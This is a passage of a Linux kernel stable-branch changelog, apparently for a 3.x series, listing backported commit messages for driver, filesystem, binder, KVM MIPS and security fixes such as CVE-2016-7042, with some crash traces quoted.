2016 -0700 hv: do not lose pending heartbeat vmbus packets commit 407a3aee6ee2d2cb46d9ba3fc380bc29f35d020c upstream. The host keeps sending heartbeat packets independent of the guest responding to them. Even though we respond to the heartbeat messages at interrupt level, we can have situations where there maybe multiple heartbeat messages pending that have not been responded to. For instance this occurs when the VM is paused and the host continues to send the heartbeat messages. Address this issue by draining and responding to all the heartbeat messages that maybe pending. Signed-off-by: Long Li Signed-off-by: K. Y. Srinivasan Signed-off-by: Jiri Slaby commit 863ad19fd654c485e3beec3575c4d74a1e74369e Author: Scot Doyle Date: Thu Oct 13 12:12:43 2016 -0500 vt: clear selection before resizing commit 009e39ae44f4191188aeb6dfbf661b771dbbe515 upstream. When resizing a vt its selection may exceed the new size, resulting in an invalid memory access [1]. Clear the selection before resizing. [1] http://lkml.kernel.org/r/CACT4Y+acDTwy4umEvf5ROBGiRJNrxHN4Cn5szCXE5Jw-d1B=Xw@mail.gmail.com Reported-and-tested-by: Dmitry Vyukov Signed-off-by: Scot Doyle Signed-off-by: Jiri Slaby commit c0547ebf8db11de283c482276511d6cdfb747a8c Author: Linus Torvalds Date: Tue Nov 8 11:17:00 2016 +0100 Fix potential infoleak in older kernels Not upstream as it is not needed there. So a patch something like this might be a safe way to fix the potential infoleak in older kernels. THIS IS UNTESTED. It's a very obvious patch, though, so if it compiles it probably works. It just initializes the output variable with 0 in the inline asm description, instead of doing it in the exception handler. It will generate slightly worse code (a few unnecessary ALU operations), but it doesn't have any interactions with the exception handler implementation. Signed-off-by: Jiri Slaby commit f86b1cc023c7961651906df53181e96a8652b0a3 Author: Stefan Tauner Date: Thu Oct 6 18:40:11 2016 +0200 USB: serial: ftdi_sio: add support for Infineon TriBoard TC2X7 commit ca006f785fbfd7a5c901900bd3fe2b26e946a1ee upstream. This adds support to ftdi_sio for the Infineon TriBoard TC2X7 engineering board for first-generation Aurix SoCs with Tricore CPUs. Mere addition of the device IDs does the job. Signed-off-by: Stefan Tauner Signed-off-by: Johan Hovold Signed-off-by: Jiri Slaby commit a255175b8407c4fe5cc08fb6923eea441a40c30f Author: Johan Hovold Date: Fri Oct 21 12:56:27 2016 +0200 USB: serial: fix potential NULL-dereference at probe commit 126d26f66d9890a69158812a6caa248c05359daa upstream. Make sure we have at least one port before attempting to register a console. Currently, at least one driver binds to a "dummy" interface and requests zero ports for it. Should such an interface also lack endpoints, we get a NULL-deref during probe. Fixes: e5b1e2062e05 ("USB: serial: make minor allocation dynamic") Signed-off-by: Johan Hovold Signed-off-by: Jiri Slaby commit 70b3e0d44a88638cc0a7c7c65f4c36ca8b7ab0dd Author: Felipe Balbi Date: Tue Oct 4 15:14:43 2016 +0300 usb: gadget: function: u_ether: don't starve tx request queue commit 6c83f77278f17a7679001027e9231291c20f0d8a upstream. If we don't guarantee that we will always get an interrupt at least when we're queueing our very last request, we could fall into situation where we queue every request with 'no_interrupt' set. This will cause the link to get stuck. The behavior above has been triggered with g_ether and dwc3. Reported-by: Ville Syrjälä Signed-off-by: Felipe Balbi Signed-off-by: Jiri Slaby commit d66300b89114d876a74fe28845979ae846607bb5 Author: Richard Weinberger Date: Fri Oct 28 11:49:03 2016 +0200 ubifs: Fix regression in ubifs_readdir() commit a00052a296e54205cf238c75bd98d17d5d02a6db upstream. Commit c83ed4c9dbb35 ("ubifs: Abort readdir upon error") broke overlayfs support because the fix exposed an internal error code to VFS. Reported-by: Peter Rosin Tested-by: Peter Rosin Reported-by: Ralph Sennhauser Tested-by: Ralph Sennhauser Fixes: c83ed4c9dbb35 ("ubifs: Abort readdir upon error") Signed-off-by: Richard Weinberger Signed-off-by: Jiri Slaby commit 3d4434afe9bbb8b75da9ca7bc10fa941e40dd23d Author: Richard Weinberger Date: Wed Oct 19 12:43:07 2016 +0200 ubifs: Abort readdir upon error commit c83ed4c9dbb358b9e7707486e167e940d48bfeed upstream. If UBIFS is facing an error while walking a directory, it reports this error and ubifs_readdir() returns the error code. But the VFS readdir logic does not make the getdents system call fail in all cases. When the readdir cursor indicates that more entries are present, the system call will just return and the libc wrapper will try again since it also knows that more entries are present. This causes the libc wrapper to busy loop for ever when a directory is corrupted on UBIFS. A common approach do deal with corrupted directory entries is skipping them by setting the cursor to the next entry. On UBIFS this approach is not possible since we cannot compute the next directory entry cursor position without reading the current entry. So all we can do is setting the cursor to the "no more entries" position and make getdents exit. Signed-off-by: Richard Weinberger Signed-off-by: Jiri Slaby commit a8cfa3bd99581771a0695958382b686da0fe856a Author: Arve Hjønnevåg Date: Mon Oct 24 15:20:30 2016 +0200 ANDROID: binder: Clear binder and cookie when setting handle in flat binder struct commit 4afb604e2d14d429ac9e1fd84b952602853b2df5 upstream. Prevents leaking pointers between processes Signed-off-by: Arve Hjønnevåg Signed-off-by: Martijn Coenen Signed-off-by: Jiri Slaby commit 4d0ee2bb0e06f8abe29f85fb5075eaf955e2e886 Author: Arve Hjønnevåg Date: Mon Oct 24 15:20:29 2016 +0200 ANDROID: binder: Add strong ref checks commit 0a3ffab93fe52530602fe47cd74802cffdb19c05 upstream. Prevent using a binder_ref with only weak references where a strong reference is required. Signed-off-by: Arve Hjønnevåg Signed-off-by: Martijn Coenen Signed-off-by: Jiri Slaby commit 5ef115ce8d3405c329c8e02a7b560722d9c01900 Author: Takashi Iwai Date: Thu Dec 17 08:12:37 2015 +0100 ALSA: hda - Merge RIRB_PRE_DELAY into CTX_WORKAROUND caps commit ef85f299c74e6c5dd98ec0230183be33f4c2813d upstream. AZX_DCAPS_RIRB_PRE_DELAY is always tied with AZX_DCAPS_CTX_WORKAROUND, which is Creative's XFi specific. So, we can replace it and reduce one more bit free for DCAPS. Signed-off-by: Takashi Iwai Signed-off-by: Jiri Slaby commit d23706c419c0f4a74cb81dbd52af57b7d01db9e7 Author: Marcel Hasler Date: Thu Oct 27 00:42:27 2016 +0200 ALSA: usb-audio: Add quirk for Syntek STK1160 commit bdc3478f90cd4d2928197f36629d5cf93b64dbe9 upstream. The stk1160 chip needs QUIRK_AUDIO_ALIGN_TRANSFER. This patch resolves the issue reported on the mailing list (http://marc.info/?l=linux-sound&m=139223599126215&w=2) and also fixes bug 180071 (https://bugzilla.kernel.org/show_bug.cgi?id=180071). Signed-off-by: Marcel Hasler Signed-off-by: Takashi Iwai Signed-off-by: Jiri Slaby commit cd93b7f830c1fa1cb35146c701ce8eecb2b19c44 Author: David Howells Date: Wed Oct 26 15:01:54 2016 +0100 KEYS: Fix short sprintf buffer in /proc/keys show function commit 03dab869b7b239c4e013ec82aea22e181e441cfc upstream. This fixes CVE-2016-7042. Fix a short sprintf buffer in proc_keys_show(). If the gcc stack protector is turned on, this can cause a panic due to stack corruption. The problem is that xbuf[] is not big enough to hold a 64-bit timeout rendered as weeks: (gdb) p 0xffffffffffffffffULL/(60*60*24*7) $2 = 30500568904943 That's 14 chars plus NUL, not 11 chars plus NUL. Expand the buffer to 16 chars. I think the unpatched code apparently works if the stack-protector is not enabled because on a 32-bit machine the buffer won't be overflowed and on a 64-bit machine there's a 64-bit aligned pointer at one side and an int that isn't checked again on the other side. The panic incurred looks something like: Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ffffffff81352ebe CPU: 0 PID: 1692 Comm: reproducer Not tainted 4.7.2-201.fc24.x86_64 #1 Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011 0000000000000086 00000000fbbd2679 ffff8800a044bc00 ffffffff813d941f ffffffff81a28d58 ffff8800a044bc98 ffff8800a044bc88 ffffffff811b2cb6 ffff880000000010 ffff8800a044bc98 ffff8800a044bc30 00000000fbbd2679 Call Trace: [] dump_stack+0x63/0x84 [] panic+0xde/0x22a [] ? proc_keys_show+0x3ce/0x3d0 [] __stack_chk_fail+0x19/0x30 [] proc_keys_show+0x3ce/0x3d0 [] ? key_validate+0x50/0x50 [] ? key_default_cmp+0x20/0x20 [] seq_read+0x2cc/0x390 [] proc_reg_read+0x42/0x70 [] __vfs_read+0x37/0x150 [] ? security_file_permission+0xa0/0xc0 [] vfs_read+0x96/0x130 [] SyS_read+0x55/0xc0 [] entry_SYSCALL_64_fastpath+0x1a/0xa4 Reported-by: Ondrej Kozina Signed-off-by: David Howells Tested-by: Ondrej Kozina Signed-off-by: James Morris Signed-off-by: Jiri Slaby commit 7861c0eef03bdaefa7b22cf6c01bd482d1239b3e Author: Darrick J. Wong Date: Thu Oct 20 15:46:18 2016 +1100 libxfs: clean up _calc_dquots_per_chunk commit 58d789678546d46d7bbd809dd7dab417c0f23655 upstream. The function xfs_calc_dquots_per_chunk takes a parameter in units of basic blocks. The kernel seems to get the units wrong, but userspace got 'fixed' by commenting out the unnecessary conversion. Fix both. Signed-off-by: Darrick J. Wong Reviewed-by: Eric Sandeen Signed-off-by: Dave Chinner Signed-off-by: Jiri Slaby commit 70542ad936c4ba107771ed2b922cd34c211eed5b Author: Laura Abbott Date: Tue May 12 10:00:00 2015 -0700 HID: usbhid: Add HID_QUIRK_NOGET for Aten DVI KVM switch commit 849eca7b9dae0364e2fbe8afdf0fb610d12c9c8f upstream. Like other KVM switches, the Aten DVI KVM switch needs a quirk to avoid spewing errors: [791759.606542] usb 1-5.4: input irq status -75 received [791759.614537] usb 1-5.4: input irq status -75 received [791759.622542] usb 1-5.4: input irq status -75 received Add it. Signed-off-by: Laura Abbott Signed-off-by: Jiri Kosina Signed-off-by: Jiri Slaby commit b50be07c2d88f969fdcd995905a268ec21fba5a5 Author: Richard Weinberger Date: Mon Oct 12 23:35:36 2015 +0200 UBIFS: Fix possible memory leak in ubifs_readdir() commit aeeb14f763917ccf639a602cfbeee6957fd944a2 upstream. If ubifs_tnc_next_ent() returns something else than -ENOENT we leak file->private_data. Signed-off-by: Richard Weinberger Reviewed-by: David Gstir Signed-off-by: Jiri Slaby commit e1a77178a3ecee0f5e70568e9ddb99bd7d0c5ee7 Author: Peter Hurley Date: Fri Nov 27 14:30:21 2015 -0500 tty: Prevent ldisc drivers from re-using stale tty fields commit dd42bf1197144ede075a9d4793123f7689e164bc upstream. Line discipline drivers may mistakenly misuse ldisc-related fields when initializing. For example, a failure to initialize tty->receive_room in the N_GIGASET_M101 line discipline was recently found and fixed [1]. Now, the N_X25 line discipline has been discovered accessing the previous line discipline's already-freed private data [2]. Harden the ldisc interface against misuse by initializing revelant tty fields before instancing the new line discipline. [1] commit fd98e9419d8d622a4de91f76b306af6aa627aa9c Author: Tilman Schmidt Date: Tue Jul 14 00:37:13 2015 +0200 isdn/gigaset: reset tty->receive_room when attaching ser_gigaset [2] Report from Sasha Levin [ 634.336761] ================================================================== [ 634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0 [ 634.339558] Read of size 4 by task syzkaller_execu/8981 [ 634.340359] ============================================================================= [ 634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected ... [ 634.405018] Call Trace: [ 634.405277] dump_stack (lib/dump_stack.c:52) [ 634.405775] print_trailer (mm/slub.c:655) [ 634.406361] object_err (mm/slub.c:662) [ 634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236) [ 634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279) [ 634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1)) [ 634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447) [ 634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567) [ 634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879) [ 634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607) [ 634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613) [ 634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188) Cc: Tilman Schmidt Cc: Sasha Levin Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Jiri Slaby commit 3309cd4ea01d2946839f083a60259851bfbc7456 Author: Yuta Kobayashi Date: Fri Aug 12 07:49:17 2016 +0000 HID: microsoft: Add Surface 4 type cover pro 4 (JP) commit b490a8537df60d449199e162417da74ee9262515 upstream. Adding support for the Microsoft Surface 4 Type Cover Pro (JP). Signed-off-by: Yuta Kobayashi Signed-off-by: Jiri Kosina Cc: Oliver Neukum Signed-off-by: Jiri Slaby commit bee0e10e8612ff91d1aa975e1200eff5a7193a32 Author: AceLan Kao Date: Thu Aug 4 10:26:20 2016 +0800 HID: input: add mic mute key on HP slim keyboard commit 08fc94733211f94755dd15028fb0a0129310fb5d upstream. Add MIC mute key which is found on HP Business Slim Keyboard T: Bus=02 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 23 Spd=1.5 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=03f0 ProdID=2f4a Rev=00.10 S: Manufacturer=Chicony S: Product=HP Business Slim Keyboard C: #Ifs= 2 Cfg#= 1 Atr=a0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=01 Prot=01 Driver=usbhid I: If#= 1 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=00 Prot=00 Driver=usbhid Signed-off-by: AceLan Kao Signed-off-by: Jiri Kosina Cc: Oliver Neukum Signed-off-by: Jiri Slaby commit ff686d55d87f6c3e7e5c88480ae050cbf042e1e4 Author: James Hogan Date: Wed Nov 9 16:13:50 2016 +0000 KVM: MIPS: Precalculate MMIO load resume PC commit e1e575f6b026734be3b1f075e780e91ab08ca541 upstream. The advancing of the PC when completing an MMIO load is done before re-entering the guest, i.e. before restoring the guest ASID. However if the load is in a branch delay slot it may need to access guest code to read the prior branch instruction. This isn't safe in TLB mapped code at the moment, nor in the future when we'll access unmapped guest segments using direct user accessors too, as it could read the branch from host user memory instead. Therefore calculate the resume PC in advance while we're still in the right context and save it in the new vcpu->arch.io_pc (replacing the no longer needed vcpu->arch.pending_load_cause), and restore it on MMIO completion. Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini [james.hogan@imgtec.com: Backport to 3.10..3.16] Signed-off-by: James Hogan Signed-off-by: Jiri Slaby commit fb357699fe2d1f8ab6820a13353aee5a10477267 Author: Nicholas Mc Guire Date: Wed Nov 9 16:13:49 2016 +0000 MIPS: KVM: Fix unused variable build warning commit 5f508c43a7648baa892528922402f1e13f258bd4 upstream. As kvm_mips_complete_mmio_load() did not yet modify PC at this point as James Hogans explained the curr_pc variable and the comments along with it can be dropped. Signed-off-by: Nicholas Mc Guire Link: http://lkml.org/lkml/2015/5/8/422 Cc: Gleb Natapov Cc: Paolo Bonzini Cc: James Hogan Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/9993/ Signed-off-by: Ralf Baechle [james.hogan@imgtec.com: Backport to 3.10..3.16] Signed-off-by: James Hogan Signed-off-by: Jiri Slaby commit e01f1c70914befc091e692e27d82d099e92844c4 Author: James Hogan Date: Wed Nov 9 14:46:24 2016 +0000 KVM: MIPS: Drop other CPU ASIDs on guest MMU changes commit 91e4f1b6073dd680d86cdb7e42d7cccca9db39d8 upstream. When a guest TLB entry is replaced by TLBWI or TLBWR, we only invalidate TLB entries on the local CPU. This doesn't work correctly on an SMP host when the guest is migrated to a different physical CPU, as it could pick up stale TLB mappings from the last time the vCPU ran on that physical CPU. Therefore invalidate both user and kernel host ASIDs on other CPUs, which will cause new ASIDs to be generated when it next runs on those CPUs. We're careful only to do this if the TLB entry was already valid, and only for the kernel ASID where the virtual address it mapped is outside of the guest user address range. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org [james.hogan@imgtec.com: Backport to 3.10..3.16] Signed-off-by: James Hogan Signed-off-by: Jiri Slaby commit f668f2eee98250a2073a4beafdb7f6d1e21c528e Author: Jiri Slaby Date: Wed Nov 9 22:15:57 2016 +0100 Revert "KVM: MIPS: Drop other CPU ASIDs on guest MMU changes" This reverts commit 168e5ebbd63eaf2557b5e37be1afb8c143de2380, which is upstream commit 91e4f1b6073dd680d86cdb7e42d7cccca9db39d8. It caused build failures as it was improperly backported. New version is approaching, so revert this bad one. Signed-off-by: Jiri Slaby Cc: James Hogan